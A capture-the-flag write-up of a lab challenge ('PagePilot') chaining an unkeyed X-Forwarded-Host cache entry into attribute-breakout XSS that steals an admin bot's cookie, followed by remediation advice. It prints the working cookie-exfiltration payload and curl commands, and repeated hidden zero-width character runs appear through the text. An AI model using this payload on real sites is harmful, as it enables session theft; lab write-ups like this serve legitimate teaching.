← Back to Writeups
CUSTOMMediumWeb

Lab 182 — PagePilot — XSS via Cache Poisoning

XESXOR9/10/20264 min read
#web#custom#medium#attribute_breakout_xss#cache_key_analysis#cookie_exfiltration#forwarded_host_poisoning#linux

Lab 182 — PagePilot — XSS via Cache Poisoning

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-20 | Status: Solved Techniques: attribute_breakout_xss, cache_key_analysis, cookie_exfiltration, forwarded_host_poisoning

Summary

Task: An Express application behind nginx caches HTML containing a proxy-derived host and provides an admin review bot. Solution: Poison the unkeyed X-Forwarded-Host value with attribute-breakout XSS, report the cached page, and decode the exfiltrated flag cookie.

Lab 182 — PagePilot — XSS via Cache Poisoning — hackadvisor

Description

Lab 182 — PagePilot — XSS via Cache Poisoning

PagePilot was an Express publishing application behind nginx. The objective was to exploit a discrepancy between the cache key and data used to generate HTML, execute JavaScript in the administrator's browser, and recover the flag from the administrator's cookie.

The page source also contained this value:

text
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}

This was an anti-automation decoy, not the answer. The real flag had to come from the administrator's cookie. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Reconnaissance

Responses identified Express behind nginx 1.25.5:

http
Server: nginx/1.25.5
X-Powered-By: Express
X-Cache: MISS
X-Cache-TTL: 30

Repeated requests changed X-Cache from MISS to HIT, confirming that HTML responses were cached for 30 seconds. Two additional surfaces were relevant:

  • POST /report accepted a relative path such as /post/1 and caused a Headless Chrome administrator bot to visit it.
  • POST /api/comments accepted public JSON comments, although comments were not needed for the final exploit. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability Analysis

Cache-key discrepancy

The cache identified entries by the path but ignored inputs that the application used while rendering absolute URLs.

First, a request to /post/2?view=PPQUERYCANARY on a cache miss placed the full query string in the og:url and canonical tags. A subsequent request to plain /post/2 was a cache hit and still contained PPQUERYCANARY. This proved that the query string affected the response without affecting the cache key.

A cleaner primitive was the proxy header: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

http
GET /post/3 HTTP/1.1
X-Forwarded-Host: pphostcanary.invalid

On a miss, both generated tags changed to:

html
<meta property="og:url" content="https://pphostcanary.invalid/post/3">
<link rel="canonical" href="https://pphostcanary.invalid/post/3">

A normal request to /post/3 then hit the same poisoned cache entry. Therefore:

  1. nginx did not include X-Forwarded-Host in the cache key.
  2. Express trusted that header when constructing absolute URLs.
  3. The value was inserted into quoted HTML attributes without output encoding. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This combined an unkeyed cache input with an attribute-breakout XSS sink.

Payload construction

The final header value was:

html
"><script>location="http://interact/0f6131f2-4bf4-48dc-8f61-634605617857/cb/"+btoa(document.cookie)</script><x x="

It closed the content attribute and original tag, inserted a script, and used a dummy <x> element to absorb the trailing /post/5">. The cached markup became approximately:

html
<meta property="og:url" content="https://"><script>location="http://interact/0f6131f2-4bf4-48dc-8f61-634605617857/cb/"+btoa(document.cookie)</script><x x="/post/5">

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The script navigated to the Interaction Server and placed the Base64-encoded cookie in the URL path. An earlier version used encodeURIComponent(document.cookie) in the query string, but the available callback log exposed only /cb and omitted the query. Moving the data into the path made it visible.

Solution

1. Poison a fresh cache entry

The poison request had to land while /post/5 was uncached, as confirmed by X-Cache: MISS:

bash
curl -sS -D poison.headers -o poison.html \
  -H 'X-Forwarded-Host: "><script>location="http://interact/0f6131f2-4bf4-48dc-8f61-634605617857/cb/"+btoa(document.cookie)</script><x x="' \
  'https://0f6131f2-4bf4-48dc-8f61-634605617857.labs.hackadvisor.io/post/5'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

2. Trigger the administrator bot

Before the 30-second cache entry expired, the poisoned path was submitted to the report endpoint:

bash
curl -sS -X POST \
  'https://0f6131f2-4bf4-48dc-8f61-634605617857.labs.hackadvisor.io/report' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-urlencode 'url=/post/5'

The application replied that an administrator would review the content. The bot then loaded /post/5, received the poisoned cached HTML, and executed the injected script. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

3. Decode the callback

The Interaction Server recorded a request from HeadlessChrome 124:

text
/cb/ZmxhZz1GTEFHezAzNmE2MjljZjY2OTkyZDczNWQwZWQwODQyNTM0YmQ1fQ==

Decoding the final path segment:

bash
printf '%s' 'ZmxhZz1GTEFHezAzNmE2MjljZjY2OTkyZDczNWQwZWQwODQyNTM0YmQ1fQ==' | base64 -d

produced:

text
flag=FLAG{REDACTED}

Remediation

  • Do not trust client-supplied forwarding headers. Strip them at the edge and set a canonical host from trusted configuration.
  • Include every response-influencing input in the cache key, or prevent responses influenced by such inputs from being cached.
  • Normalize or reject unexpected query strings and proxy headers before cache lookup.
  • Apply context-appropriate HTML attribute encoding to all generated metadata values.
  • Add a restrictive Content Security Policy as defense in depth; it should not replace correct output encoding.
  • Store sensitive cookies with HttpOnly, Secure, and an appropriate SameSite policy. HttpOnly would have prevented document.cookie theft in this chain. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Reference

suggested the general chain of an unkeyed cache input leading to XSS and administrator cookie theft. PagePilot's challenge-specific primitive was raw X-Forwarded-Host reflection. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍